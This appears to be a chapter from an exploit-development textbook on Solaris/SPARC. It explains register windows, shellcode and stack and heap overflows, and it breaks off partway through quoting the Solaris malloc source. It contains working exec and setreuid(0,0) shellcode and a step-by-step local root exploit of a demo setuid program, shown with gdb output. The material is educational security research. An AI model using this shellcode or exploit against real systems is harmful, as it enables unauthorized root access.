CHAPTER
10

Introduction to Solaris Exploitation

The Solaris operating system has long been a mainstay of high-end Web and database servers. The vast majority of Solaris deployments run on the SPARC architecture, although there is an Intel distribution of Solaris. This chapter concentrates solely on the SPARC distribution of Solaris, as it really is the only serious version of the operating system. Solaris was traditionally named SunOS, although that name has long since been dropped. Modern and commonly deployed versions of the Solaris operating system include versions 2.6, 7, 8, and 9.

While many other operating systems have moved to a more restrictive set of services in a default installation, Solaris 9 still has an abundance of remote listening services enabled. Traditionally, a large number of vulnerabilities have been found in RPC services, and there are close to 20 RPC services enabled in a default Solaris 9 installation. The sheer volume of code that is reachable remotely would seem to indicate that there are more vulnerabilities to be found within RPC on Solaris.

Historically, vulnerabilities have been found in virtually every RPC service on Solaris (`sadmind`, `cmsd`, `statd`, `automount` via `statd`, `snmpXdmid`, `dmispd`, `cachefsd`, and more). Remotely exploitable bugs have also been found in services accessible via `inetd`, such as `telnetd`, `/bin/login` (via `telnetd` and `rshd`), `dtspcd`, `lpd`, and others. Solaris ships with a large number of `setuid` binaries by default, and the operating system requires a significant amount of hardening out of the box.

The operating system has some built-in security features, including process accounting and auditing, and an optional non-executable stack. The non-executable stack offers a certain level of protection when enabled, and is a worthwhile feature to enable from an administration standpoint.

Introduction to the SPARC Architecture

The Scalable Processor Architecture (SPARC) is the most widely deployed and best-supported architecture upon which Solaris runs. It was originally developed by Sun Microsystems, but has since become an open standard. The two initial versions of the architecture (v7 and v8) were 32-bit, whereas the latest version (v9) is 64-bit. SPARC v9 processors can run 64-bit applications as well as 32-bit applications in a legacy fallback mode.

The UltraSPARC processors from Sun Microsystems are SPARC v9 and capable of running 64-bit applications, while virtually all other CPUs from Sun are SPARC v7 or v8s, and run applications only in 32-bit mode. Solaris 7, 8, and 9 all support 64-bit kernels and can run 64-bit user-mode applications; however, the majority of user-mode binaries shipped by Sun are 32-bit.

The SPARC processor has 32 general-purpose registers that are usable at any time. Some have specific purposes, and others are allocated at the discretion of the compiler or programmer. These 32 registers can be divided into four specific categories: global, local, input, and output registers.

The SPARC architecture is big-endian in nature, meaning that integers and pointers are represented in memory with the most significant byte first. The instruction set is of fixed length, all instructions being 4 bytes long. All instructions are aligned to a 4-byte boundary, and any attempt to execute code at a misaligned address will result in a `BUS` error. Similarly, any attempts to read from or write to misaligned addresses will result in `BUS` errors and cause programs to crash.

Registers and Register Windows

SPARC CPUs have a variable number of total registers, but these are divided into a fixed number of register windows. A register window is a set of registers usable by a certain function. The current register window pointer is incremented or decremented by the `save` and `restore` instructions, which are typically executed at the beginning and end of a function.

The `save` instruction results in the current register window being saved, and a new set of registers being allocated, while the `restore` instruction discards the current register window and restores the previously saved one. The `save`

instruction is also used to reserve stack space for local variables, while the `restore` function releases local stack space.

The global registers (`%g0-%g7`) are unaffected by either function calls or the `save` or `restore` instructions. The first global register, `%g0`, always has a value of zero. Any writes to it are discarded, and any copies from it result in the destination being set to zero. The remaining seven global registers have various purposes, as described in Table 10-1.

Table 10-1: Global Registers and Purposes

REGISTER	PURPOSE
%g0	Always zero
%g1	Temporary storage
%g2	Global variable 1
%g3	Global variable 2
%g4	Global variable 3
%g5	Reserved
%g6	Reserved
%g7	Reserved

The local registers (`%l0%l7`) are local to one specific function as their name suggests. They are saved and restored as part of register windows. The local registers have no specific purpose, and can be used by the compiler for any purpose. They are preserved for every function.

When a `save` instruction is executed, the output registers (`%o0-%o7`) overwrite the input registers (`%i0-%i7`). Upon a `restore` instruction, the reverse occurs, and the input registers overwrite the output registers. A `save` instruction preserves the previous function's input registers as part of a register window.

The first six input registers (`%i0-%i5`) are incoming function arguments. These are passed to a function as `%o0` to `%o5`, and when a `save` is executed they become `%i0` to `%i5`. In the case, where a function requires more than six arguments, the additional arguments are passed on the stack. The return value from a function is stored in `%i0`, and is transferred to `%o0` upon `restore`.

The `%o6` register is a synonym for the stack pointer `%sp`, while `%i6` is the frame pointer `%fp`. The `save` instruction preserves the stack pointer from the previous function as the frame pointer as would be expected, and `restore` returns the saved stack pointer to its original place.

The two remaining general-purpose registers not mentioned thus far, `%o7` and `%i7`, are used to store the return address. Upon a `call` instruction, the return address is stored in `%o7`. When a `save` instruction is executed, this value is of course transferred to `%i7`, where it remains until a return and `restore` are executed. After the value is transferred to the input register, `%o7` becomes available for use as a general-purpose register. A summary of input and output register purposes is listed in Table 10-2.

Table 10-2: Register Names and Purposes

REGISTER	PURPOSE
%i0	First incoming function argument, return value
%i1–%i5	Second through sixth incoming function arguments
%i6	Frame pointer (saved stack pointer)
%i7	Return address
%o0	First outgoing function argument, return value from called function
%o1–%o5	Second though sixth outgoing function arguments
%o6	Stack pointer
%o7	Contains return address immediately after call, otherwise general purpose

The effects of `save` and `restore` are summarized in Tables 10-3 and 10-4 as well, for convenience.

Table 10-3: Effects of a save

INSTRUCTION
1. Local registers (%l0–%l7) are saved as part of a register window.
2. Input registers (%i0–%i7) are saved as part of a register window.
3. Output registers (%o0–%o7) become the input registers (%i0–%i7).
4. A specified amount of stack space is reserved.

Table 10-4: Effects of a `restore`

INSTRUCTION
1. Input registers become output registers.
2. Original input registers are restored from a saved register window.
3. Original local registers are restored from a saved register window.
4. As a result of step one, the %sp (%o6) becomes %fp (%i6) releasing local stack space.

For leaf functions (those that do not call any other functions), the compiler may create code that does not execute `save` or `restore`. The overhead of these operations is avoided, but input or local registers cannot be overwritten, and arguments must be accessed in the output registers.

Any given SPARC CPU has a fixed number of register windows. While available, these are used to store the saved registers. When available register windows run out, the oldest register window is flushed to the stack. Each `save` instruction reserves a minimum of 64 bytes of stack space to allow for local and input registers to be stored on the stack if needed. A context switch, or most traps or interrupts, will result in all register windows being flushed to the stack.

The Delay Slot

Like several other architectures, SPARC makes use of a delay slot on branches, calls, or jumps. There are two registers used to specify control flow; the register `%pc` is the program counter and points to the current instruction, while `%npc` points to the next instruction to be executed. When a branch or call is taken, the destination address is loaded into `%npc` rather than `%pc`. This results in the instruction following the branch/call being executed before flow is redirected to the destination address.

```
0x10004:      CMP %o0, 0
0x10008:      BE 0x20000
0x1000C:      ADD %o1, 1, %o1
0x10010:      MOV 0x10, %o1
```

In this example, if `%o0` holds the value zero, the branch at `0x10008` will be taken. However, before the branch is taken, the instruction at `0x1000c` is executed. If the branch at `0x10008` is not taken, the instruction at `0x1000c` is still executed, and execution flow continues at `0x10010`. If a branch is annulled, such as `BE, A address`, then the instruction in the delay slot is executed only if the branch is taken. More factors complicate execution flow on SPARC; however, you do not necessarily need to fully understand them to write exploits.

Synthetic Instructions

Many instructions on SPARC are composites of other instructions, or aliases for other instructions. Because all instructions are 4 bytes long, it takes two instructions to load an arbitrary 32-bit value into any register. More interesting, both `call` and `ret` are synthetic instructions. The `call` instruction is more correctly `jmpl address, %o7`. The `jmpl` instruction is a linked jump, which stores the value of the current instruction pointer in the destination operand. In the case of `call` the destination operand is the register `%o7`. The `ret` instruction is simply `jmpl %i7+8, %g0`, which goes back to the saved return address. The value of the program counter is discarded to the `%g0` register, which is always zero.

Leaf functions use a different synthetic instruction, `retl`, to return. Because they do not execute `save` or `restore`, the return address is in `%o7`, and as a result `retl` is an alias for `jmpl %o7+8, %g0`.

Solaris/SPARC Shellcode Basics

Solaris on SPARC has a well-defined system call interface similar to that found on other Unix operating systems. As is the case for almost every other platform, shellcode on Solaris/SPARC traditionally makes use of system calls rather than calling library functions. There are numerous examples of Solaris/SPARC shellcode available online, and most of them have been around for years. If you are looking for something commonly used or simple for exploit development, most of it can be found online; however, if you wish to write your own shellcode the basics are covered here.

System calls are initiated by a specific system trap, trap eight. Trap eight is correct for all modern versions of Solaris; however SunOS originally used trap zero for system calls. The system call number is specified by the global register `%g1`. The first six system call arguments are passed in the output registers `%o0` to `%o5` as are normal function arguments. Most system calls have less than six arguments, but for the rare few that need additional arguments, these are passed on the stack.

Self-Location Determination and SPARC Shellcode

Most shellcode will need a method for finding its own location in memory in order to reference any strings included. It's possible to avoid this by constructing strings on the fly as part of the code, but this is obviously less efficient and reliable. On x86 architectures, this is easily accomplished by a jump and the

`call/pop` instruction pair. The instructions necessary to accomplish this on SPARC are a little more complicated due to the delay slot and the need to avoid null bytes in shellcode.

The following instruction sequence works well to load the location of the shellcode into the register `%o7`, and has been used in SPARC shellcode for years:

1. `\x20\xbf\xff\xff // bn, a shellcode - 4`
2. `\x20\xbf\xff\xff// bn, a shellcode`
3. `\x7f\xff\xff\xff  // call shellcode + 4`
4. rest of shellcode

The `bn,a` instruction is an annulled *branch never* instruction. In other words, these branch instructions are never taken (branch never). This means that the delay slot is always skipped. The `call` instruction is really a linked jump that stored the value of the current instruction pointer in `%o7`.

The order of execution of the preceding steps is: 1, 3, 4, 2, 4.

This code results in the address of the `call` instruction being stored in `%o7`, and gives the shellcode a way to locate its strings in memory.

Simple SPARC exec Shellcode

The final goal of most shellcode is to execute a command shell from which pretty much anything else can be done. This example covers some very simple shellcode that executes `/bin/sh` on Solaris/SPARC.

The `exec` system call is number 11 on modern Solaris machines. It takes two arguments, the first being a character pointer specifying the filename to execute, and the second being a null-terminated character pointer array specifying file arguments. These arguments will go into `%o0` and `%o1` respectively, and the system call number will go into `%g1`. The following shellcode demonstrates how to do this:

```
static char scode[]=   "\x20\xbf\xff\xff"      // 1: bn,a scode - 4
                       "\x20\xbf\xff\xff"      // 2: bn,a scode
                       "\x7f\xff\xff\xff"      // 3: call scode + 4
                       "\x90\x03\xe0\x20"      // 4: add %o7, 32, %o0
                       "\x92\x02\x20\x08"      // 5: add %o0, 8, %o1
                       "\xd0\x22\x20\x08"      // 6: st %o0, [%o0 + 8]
                       "\xc0\x22\x60\x04"      // 7: st %g0, [%o1 + 4]
                       "\xc0\x2a\x20\x07"      // 8: stb %g0, [%o0 + 7]
                       "\x82\x10\x20\x0b"      // 9: mov 11, %g1
                       "\x91\xd0\x20\x08"      // 10: ta 8
                       "/bin/sh";              // 11: shell string
```

A line-by-line explanation follows:

1. This familiar code loads the address of the shellcode into `%o7`.
2. Location loading code continued.
3. And again.
4. Load the location of `/bin/sh` into `%o0`; this will be the first argument to the system call.
5. Load the address of the function argument array into `%o1`. This address is 8 bytes past `/bin/sh` and 1 byte past the end of the shellcode. This will be the second system call argument.
6. Initialize the first member of the argument array (`argv[0]`) to be the string `/bin/sh`.
7. Set the second member of the argument array to be null, terminating the array (`%g0` is always null).
8. Ensure that the `/bin/sh` string is properly null terminated by writing a null byte at the correct location.
9. Load the system call number into `%g1` (`11` = `SYS_exec`).
10. Execute the system call via trap eight (`ta` = trap always).
11. The shell string.

Useful System Calls on Solaris

There are quite a few other system calls that are useful outside of `execv`; you can find a complete list in `/usr/include/sys/syscall.h` on a Solaris system. A quick list is provided in Table 10-5.

Table 10-5: Useful System Calls and Associated Numbers

SYSTEM CALL	NUMBER
SYS_open	5
SYS_exec	11
SYS_dup	41
SYS_setreiud	202
SYS_setregid	203
SYS_so_socket	230
SYS_bind	232
SYS_listen	233
SYS_accept	234
SYS_connect	235

NOP and Padding Instructions

To increase exploit reliability and reduce reliance on exact addresses, it's useful to include padding instructions in an exploit payload. The true `NOP` instruction on SPARC is not really useful for this in most cases. It contains three null bytes, and will not be copied in most string-based overflows. Many instructions are available that can take its place and have the same effect. A few examples are included in Table 10-6.

Table 10-6: NOP Alternatives

SPARC PADDING INSTRUCTION	BYTE SEQUENCE
sub %g1, %g2, %g0	"\x80\x20\x40\x02"
andcc %l7, %l7, %g0	"\x80\x8d\xc0\x17"
or %g0, 0xfff, %g0	"\x80\x18\x2f\xff"

Solaris/SPARC Stack Frame Introduction

The stack frame on Solaris/SPARC is similar in organization to that of most other platforms. The stack grows down, as on Intel x86, and contains space for both local variables and saved registers (see Table 10-7). The minimum amount of stack reserve space for any given function in a 32-bit binary would be 96 bytes. This is the amount of space necessary to save the eight local and eight input registers, plus 32 bytes of additional space. This additional space contains room for a returned structure pointer and space for saved copies of arguments in case they must be addressed (if a pointer to them must be passed to another function). The stack frame for any function is organized so that the space reserved for local variables is located closer to the top of the stack than the space reserved for saved registers. This precludes the possibility of a function overwriting its own saved registers.

Table 10-7: Memory Management on Solaris

Top of stack — Higher memory addresses
Function 1 Space reserved for local variables Size: Variable
Function 1 Space reserved for return structure pointer and argument copies. Size: 32 bytes

Table 10-7 *(continued)*

Function 1 Space reserved for saved registers Size: 64 bytes
Bottom of stack — Lower memory addresses

The stack is generally populated with structures and arrays, but not with integers and pointers as is the case on x86 platforms. Integers and pointers are stored in general-purpose registers in most cases, unless the number needed exceeds available registers or they must be addressable.

Stack-Based Overflow Methodologies

Let's look at some of the most popular stack-based buffer overflow methodologies. They will differ slightly in some cases from Intel IA32 vulnerabilities, but will have some commonalities.

Arbitrary Size Overflow

A stack overflow that allows an arbitrary size overwrite is relatively similar in exploitation when compared to Intel x86. The ultimate goal is to overwrite a saved instruction pointer on the stack, and as a result redirect execution to an arbitrary address that contains shellcode. Because of the organization of the stack, however, it is possible only to overwrite the saved registers of the calling function. The ultimate effect of this is that it takes a minimum of two function returns to gain control of execution.

If you consider a hypothetical function that contains a stack-based buffer overflow, the return address for that function is stored in the register `%i7`. The `ret` instruction on SPARC is really a synthetic instruction that does `jmpl %i7+8, %g0`. The delay slot will typically be filled with the `restore` instruction. The first `ret/restore` instruction pair will result in a new value from `%i7` being restored from a saved register window. If this was restored from the stack rather than an internal register, and had been overwritten as part of the overflow, the second `ret` will result in execution of code at an address of the attacker's choice.

Table 10-8 shows what the Solaris/SPARC saved register window on the stack looks like. The information is organized as it might be seen if printed in a debugger like GDB. The input registers are closer to the stack top than the local registers are.

Table 10-8: Saved Register Windows Layout on the Stack

%l0	%l1	%l2	%l3
%l4	%l5	%l6	%l7
%i0	%i1	%i2	%i3
%i4	%i5	%i6 (saved %fp)	%i7 (saved %pc)

Register Windows and Stack Overflow Complications

Any SPARC CPU has a fixed number of internal register windows. The SPARC v9 CPU may have anywhere from 2 to 32 register windows. When a CPU runs out of available register windows and attempts a `save`, a window overflow trap is generated, which results in register windows being flushed from internal CPU registers to the stack. When a context switch occurs, and a thread is suspended, its register windows must also be flushed to the stack. System calls generally result in register windows being flushed to the stack.

At the moment that an overflow occurs, if the register window you are attempting to overwrite is not on the stack but rather stored in CPU registers, your exploit attempt will obviously be unsuccessful. Upon return, the stored registers will not be restored from the position you overwrote on the stack, but rather from internal registers. This can make an attack that attempts to overwrite a saved `%i7` register more difficult.

A process in which a buffer overflow has occurred may behave quite differently when being debugged. A debugger break will result in all register windows being flushed. If you are debugging an application and break before an overflow occurs, you may cause a register window flush that would not otherwise have happened. It's quite common to find an exploit that only works with GDB attached to the process, simply because without the debugger, break register windows aren't flushed to the stack and the overwrite has no effect.

Other Complicating Factors

When registers are saved to the stack, the `%i7` register is the last register in the array. This means that in order to overwrite it, you must overwrite all the other registers first in any typical string-based overflow. In the best situation, one additional return will be needed to gain control of program execution. However, all the local and input registers will have been corrupted by the overflow. Quite often, these registers will contain pointers which, if not valid, will cause an access violation or segmentation fault before the critical function return. It

may be necessary to assess this situation on a case-by-case basis and determine appropriate values for registers other than the return address.

The frame pointer on SPARC must be aligned to an 8-byte boundary. If a frame-pointer overwrite is undertaken, or more than one set of saved registers is overwritten in an overflow, it is essential to preserve this alignment in the frame pointer. A restore instruction executed with an improperly aligned frame pointer will result in a `BUS` error, causing the program to crash.

Possible Solutions

Several methods are available with which to perform a stack overwrite of a saved `%i7`, even if the first register window is not stored on the stack. If an attack can be attempted more than once, it is possible to attempt an overflow many times, waiting for a context switch at the right time that results in registers being flushed to the stack at the right moment. However, this method tends to be unreliable, and not all attacks are repeatable.

An alternative is to overwrite saved registers for a function closer to the top of the stack. For any given binary, the distance from one stack frame to another is a predictable and calculable value. Therefore, if the register window for the first calling function hasn't been flushed to the stack, perhaps the register window for the second or third calling function has. However, the farther up the call tree you attempt to overwrite saved registers, the more function returns are necessary to gain control, and the harder it is prevent the program from crashing due to stack corruption.

In most cases it will be possible to overwrite the first saved register window and achieve arbitrary code execution with two returns; however, it is good to be aware of the worst-case scenario for exploitation.

Off-By-One Stack Overflow Vulnerabilities

Off-by-one vulnerabilities are significantly more difficult to exploit on the SPARC architecture, and in most cases they are not exploitable. The principles for off-by-one stack exploitation are largely based on pointer corruption. The well-defined methodology for exploitation on Intel x86 is to overwrite the least-significant bit of the saved frame pointer, which is generally the first address on the stack following local variables. If the frame pointer isn't the target, another pointer most likely is. The vast majority of off-by-one vulnerabilities are the result of null termination when there isn't enough buffer space remaining, and usually result in the writing of a single null byte out of bounds.

On SPARC, pointers are represented in big-endian byte order. Rather than overwriting the least-significant byte of a pointer in memory, the most significant byte will be corrupted in an off-by-one situation. Instead of changing the pointer slightly, the pointer is changed significantly. For example, a standard

stack pointer `0xFFBF1234` will point to `0xBF1234` when its most significant byte is overwritten. This address will be invalid unless the heap has been extended significantly to that address. Only in selected cases may this be feasible.

In addition to byte order problems, the targets for pointer corruption on Solaris/SPARC are limited. It is not possible to reach the frame pointer, because it is deep within the array of saved registers. It is likely only possible to corrupt local variables, or the first saved register `%l0`. Although vulnerabilities must be evaluated on a case-by-case basis, off-by-one stack overflows on SPARC offer limited possibilities for exploitation at best.

Shellcode Locations

It is necessary to have a good method of redirecting execution to a useful address containing shellcode. Shellcode could be located in several possible locations, each having its advantages and disadvantages. Reliability is often the most important factor in choosing where to put your shellcode, and the possibilities are most often dictated by the program you are exploiting.

For exploitation of local `setuid` programs, it is possible to fully control the program environment and arguments. In this case, it is possible to inject shellcode plus a large amount of padding into the environment. The shellcode will be found at a very predictable location on the stack, and extremely reliable exploitation can be achieved. When possible, this is often the best choice.

When exploiting daemon programs, especially remotely, finding shellcode on the stack and executing it is still a good choice. Stack addresses of buffers are often reasonably predictable and only shift slightly due to changes in the environment or program arguments. For exploits where you might have only a single chance, a stack address is a good choice due to good predictability and only minor variations.

When an appropriate buffer cannot be found on the stack, or when the stack is marked as non-executable, an obvious second choice is the heap. If it is possible to inject a large amount of padding around shellcode, pointing execution toward a heap address can be just as reliable as a stack buffer. However, in most cases finding shellcode on the heap may take multiple attempts to work reliably and is better suited for repeatable attacks attempted in a brute force manner. Systems with a non-executable stack will gladly execute code on the heap, making this a good choice for exploits that must work against hardened systems.

Return to libc style attacks are generally unreliable on Solaris/SPARC unless they can be repeated many times or the attacker has specific knowledge of the library versions of the target system. Solaris/SPARC has many library versions, many more than do other commercial operating systems such as Windows. It is not reasonable to expect that libc will be loaded at any specific base address, and each major release of Solaris has quite possibly dozens of

different libc versions. Local attacks that return into libc can be done quite reliably because libraries can be examined in detail. If an attacker takes the time to create a comprehensive list of function addresses for different library versions, return to libc attacks may be feasible remotely as well.

For string-based overflows (those that copy up to a null byte), it is often not possible to redirect execution to the data section of a main program executable. Most applications load at a base address of `0x00010000`, containing a high null byte in the address. In some cases it is possible to inject shellcode into the data section of libraries; this is worth looking into if reliable exploitation cannot be achieved by storing shellcode on the stack or heap.

Stack Overflow Exploitation In Action

The principles for stack-based exploitation on Solaris/SPARC tend to make more sense when demonstrated. The following example covers how to exploit a simple stack-based overflow in a hypothetical Solaris application, applying the techniques mentioned in this chapter.

The Vulnerable Program

The vulnerable program in this example was created specifically to demonstrate a simple case of stack-based overflow exploitation. It represents the least complicated case you might find in a real application; however, it's definitely a good starting point. The vulnerable code is as follows:

```
int vulnerable_function(char *userinput) {
        char buf[64];
        strcpy(buf,userinput);
        return 1;
}
```

In this case, `userinput` is the first program argument passed from the command line. Note that the program will return twice before exiting, giving us the possibility of exploiting this bug.

When the code is compiled, a disassembly from IDA Pro looks like the following:

```
vulnerable_function:

        var_50          = -0x50
        arg_44          = 0x44

                save    %sp, -0xb0, %sp
                st      %i0, [%fp+arg_44]
```

```
add     %fp, var_50, %o0
ld      [%fp+arg_44], %o1
call    _strcpy
NOP
```

The first argument to `strcpy` is the destination buffer, which is located 80 bytes (`0x50`) before the frame pointer, in this case. The stack frame for the calling function can usually be found following this, starting out with the saved register window. The first absolutely critical register within this window would be the frame pointer `%fp`, which would be the fifteenth saved register and located at an offset 56 bytes into the register window. Therefore, it's expected that by sending a string of exactly 136 bytes as the first argument, the highest byte of the frame pointer will be corrupted, causing the program to crash. Let's verify that.

First, we run with a first argument of 135 bytes:

```
# gdb ./stack_overflow
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "sparc-sun-solaris2.8"...(no debugging
symbols found)...
(gdb) r `perl -e "print 'A' x 135"`
Starting program: /test/./stack_overflow `perl -e "print 'A' x 135"`
(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...
Program exited normally.
```

As you can see, when we overwrite the registers not critical for program execution but leave the frame pointer and instruction pointer untouched, the program exits normally and does not crash.

However, when we add one extra byte to the first program argument, the behavior is much different:

```
(gdb) r `perl -e "print 'A' x 136"`
Starting program: /test/./stack_overflow `perl -e "print 'A' x 136"`
(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...
Program received signal SIGSEGV, Segmentation fault.
0x10704 in main ()
(gdb) x/i $pc
0x10704 <main+88>:      restore
```

```
(gdb) print/x $fp
$1 = 0xbffd28
(gdb) print/x $i5
$2 = 0x41414141
(gdb)
```

In this case, the high byte of the frame pointer (`%i6`, or `%fp`) has been overwritten by the null byte terminating the first argument. As you can see, the previous saved register `%i5` has been corrupted with *A*s. Immediately following the saved frame pointer is the saved instruction pointer, and overwriting that will result in arbitrary code execution. We know the string size necessary to overwrite critical information, and are now ready to start exploit development.

The Exploit

An exploit for this vulnerability will be relatively simple. It will execute the vulnerable program with a first argument long enough to trigger the overflow. Because this is going to be a local exploit, we will fully control the environment variables, and this will be a good place to reliably place and execute shellcode. The only remaining information that is really necessary is the address of the shellcode in memory, and we can create a fully functional exploit.

The exploit contains a target structure that specifies different platform-specific information that changes from one OS version to the next.

```
struct {
        char *name;
        int length_until_fp;
        unsigned long fp_value;
        unsigned long pc_value;
        int align;
} targets[] = {

        {
                "Solaris 9 Ultra-Sparc",
                136,
                0xffbf1238,
                0xffbf1010,
                0
        }

};
```

The structure contains the length necessary to begin to overwrite the frame pointer, as well as a value with which to overwrite the frame pointer and program counter. The exploit code itself simply constructs a string starting with 136 bytes of padding, followed by the specified frame pointer and program

counter values. The following shellcode is included in the exploit, and is put into the program environment along with `NOP` padding:

```
static char setreuid_code[]=    "\x90\x1d\xc0\x17"      // xor %l7, %l7,
%o0
                                "\x92\x1d\xc0\x17"      // xor %l7, %l7,
%o1
                                "\x82\x10\x20\xca"      // mov 202, %g1
                                "\x91\xd0\x20\x08";     // ta 8

static char shellcode[]="\x20\xbf\xff\xff"  // bn,a scode - 4
                        "\x20\xbf\xff\xff"  // bn,a scode
                        "\x7f\xff\xff\xff"  // call scode + 4
                        "\x90\x03\xe0\x20"  // add %o7, 32, %o0
                        "\x92\x02\x20\x08"  // add %o0, 8, %o1
                        "\xd0\x22\x20\x08"  // st %o0, [%o0 + 8]
                        "\xc0\x22\x60\x04"  // st %g0, [%o1 + 4]
                        "\xc0\x2a\x20\x07"  // stb %g0, [%o0 + 7]
                        "\x82\x10\x20\x0b"  // mov 11, %g1
                        "\x91\xd0\x20\x08"  // ta 8
                        "/bin/sh";
```

The shellcode does a `setreuid(0,0)`, first to set the real and effective user ID to `root`, and following this runs the `execv` shellcode discussed earlier.

The exploit, on its first run, does the following:

```
# gdb ./stack_exploit
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
Are welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.
This GDB was configured as "sparc-sun-solaris2.8"...(no debugging
symbols
found)...
(gdb) r 0
Starting program: /test/./stack_exploit 0
(no debugging symbols found)...(no debugging symbols found)...(no
debugging symbols found)...
Program received signal SIGTRAP, Trace/breakpoint trap.
0xff3c29a8 in ?? ()
(gdb) c
Continuing.
Program received signal SIGILL, Illegal instruction.
0xffbf1018 in ?? ()
(gdb)
```

The exploit appears to have worked as was expected. We overwrote the program counter with the value we specified in our exploit, and upon return, execution was transferred to that point. At that time, the program crashed because an illegal instruction happened to be at that address, but we now have the ability to point execution to an arbitrary point in the process address space. The next step is to look for our shellcode in memory and redirect execution to that address.

Our shellcode should be very recognizable because it is padded with a large number of NOP-like instructions. We know that it's in the program environment, and should therefore be located somewhere near the top of the stack, so let's look for it there.

```
(gdb) x/128x $sp
0xffbf1238:     0x00000000      0x00000000      0x00000000      0x00000000
0xffbf1248:     0x00000000      0x00000000      0x00000000      0x00000000
0xffbf1258:     0x00000000      0x00000000      0x00000000      0x00000000
0xffbf1268:     0x00000000      0x00000000      0x00000000      0x00000000
```

After hitting Enter a few dozen times, we locate something that looks very much like our shellcode on the stack.

```
(gdb)
0xffbffc38:     0x2fff8018      0x2fff8018      0x2fff8018      0x2fff8018
0xffbffc48:     0x2fff8018      0x2fff8018      0x2fff8018      0x2fff8018
0xffbffc58:     0x2fff8018      0x2fff8018      0x2fff8018      0x2fff8018
0xffbffc68:     0x2fff8018      0x2fff8018      0x2fff8018      0x2fff8018
```

The repetitive byte pattern is our padding instruction, and it's located on the stack at an address of `0xffbffe44`. However, something obviously isn't quite right. Within the exploit, the no operation instruction used is defined as:

```
#define NOP "\x80\x18\x2f\xff"
```

The byte pattern in memory as aligned on the 4-byte boundary is `\x2f\xff\x80\x18`. Because SPARC instructions are always 4-byte aligned, we can't simply point our overwritten program counter at an address 2 bytes off the boundary. This would result in an immediate BUS fault. However, by adding two padding bytes to the environment variable we are able to correctly align our shellcode and place our instructions correctly on the 4-byte boundary. With this change made, and an exploit pointed at the right place in memory, we should be able to execute a shell.

```
struct {
        char *name;
        int length_until_fp;
        unsigned long fp_value;
        unsigned long pc_value;
        int align;
```

```
} targets[] = {

        {
                "Solaris 9 Ultra-Sparc",
                136,
                0xffbf1238,
                0xffbffc38,
                2
        }

};
```

The corrected exploit should now execute a shell. Let's verify that it does.

```
$ uname -a
SunOS unknown 5.9 Generic sun4u sparc SUNW,Ultra-5_10
$ ls -al stack_overflow
-rwsr-xr-x   1 root     other       6800 Aug 19 20:22 stack_overflow
$ id
uid=60001(nobody) gid=60001(nobody)
$ ./stack_exploit 0
# id
uid=0(root) gid=60001(nobody)
#
```

This exploit example was a best-case scenario for exploitation, in which none of the complicating factors mentioned previously came into play. With luck, however, exploitation of most stack-based overflows should be nearly as simple. You can find the files (`stack_overflow.c` and `stack_exploit.c`) that correspond to this vulnerability and exploit example at `http://www.wiley.com/go/shellcodershandbook`.

Heap-Based Overflows on Solaris/SPARC

Heap-based overflows are most likely more commonly discovered than stack-based overflows in modern vulnerability research. They are commonly exploited with great reliability; however, they are definitely less reliable to exploit than stack-based overflows. Unlike on the stack, execution flow information isn't stored by definition on the heap.

There are two general methods for executing arbitrary code via a heap overflow. An attacker can either attempt to overwrite program-specific data stored on the heap or to corrupt the heap control structures. Not all heap implementations store control structures in-line on the heap; however, the Solaris System V implementation does.

A stack overflow can be seen as a two-step process. The first step is the actual overflow, which overwrites a saved program counter. The second step is a return, which goes to an arbitrary location in memory. In contrast, a heap overflow, which corrupts control structures, can generally be seen as a three-step process. The first step is of course the overflow, which overwrites control structures. The second step would be the heap implementation processing of the corrupted control structures, resulting in an arbitrary memory overwrite. The final step would be some program operation that results in execution going to a specified location in memory, possibly calling a function pointer or returning with a changed saved instruction pointer. The extra step involved adds a certain degree of unreliability and complicates the process of heap overflows. To exploit them reliably, you must often either repeat an attack or have specific knowledge about the system being exploited.

If useful program-specific information is stored on the heap within reach of the overflow, it is frequently more desirable to overwrite this than control structures. The best target for overwrite is any function pointer, and if it's possible to overwrite one, this method can make heap overflow exploitation more reliable than is possible by overwriting control structures.

Solaris System V Heap Introduction

The Solaris heap implementation is based on a self-adjusting binary tree, ordered by the size of chunks. This leads to a reasonably complicated heap implementation, which results in several ways to achieve exploitation. As is the case on many other heap implementations, chunk locations and sizes are aligned to an 8-byte boundary. The lowest bit of the chunk size is reserved to specify if the current chunk is in use, and the second lowest bit is reserved to specify if the previous block in memory is free.

The `free()` function (`_free_unlocked`) itself does virtually nothing, and all the operations associated with freeing a memory chunk are performed by a function named `realfree()`. The `free()` function simply performs some minimal sanity checks on the chunk being freed and then places it in a free list, which will be dealt with later. When the free list becomes full, or `malloc/realloc` are called, a function called `cleanfree()` flushes the free list.

The Solaris heap implementation performs operations typical of most heap implementations. The heap is grown via the `sbrk` system call when necessary, and adjacent free chunks are consolidated when possible.

Heap Tree Structure

It is not truly necessary to understand the tree structure of the Solaris heap to exploit heap-based overflows; however, for methods other than the most simple

knowing the tree structure is useful. The full source code for the heap implementation used in the generic Solaris libc is shown here. The first source code is `malloc.c`; the second, `mallint.h`.

```
/*     Copyright (c) 1988 AT&T     */
/*     All Rights Reserved         */

/*   THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
/*   The copyright notice above does not evidence any    */
/*   actual or intended publication of such source code. */

/*
 * Copyright (c) 1996, by Sun Microsystems, Inc.
 * All rights reserved.
 */

#pragma    ident   "@(#)malloc.c  1.18  98/07/21 SMI"  /* SVr4.0 1.30 */

/*LINTLIBRARY*/

/*
 *   Memory management: malloc(), realloc(), free().
 *
 *   The following #-parameters may be redefined:
 *   SEGMENTED: if defined, memory requests are assumed to be
 *          non-contiguous across calls of GETCORE's.
 *   GETCORE: a function to get more core memory. If not SEGMENTED,
 *          GETCORE(0) is assumed to return the next available
 *          address. Default is 'sbrk'.
 *   ERRCORE: the error code as returned by GETCORE.
 *          Default is (char *)(-1).
 *   CORESIZE: a desired unit (measured in bytes) to be used
 *          with GETCORE. Default is (1024*ALIGN).
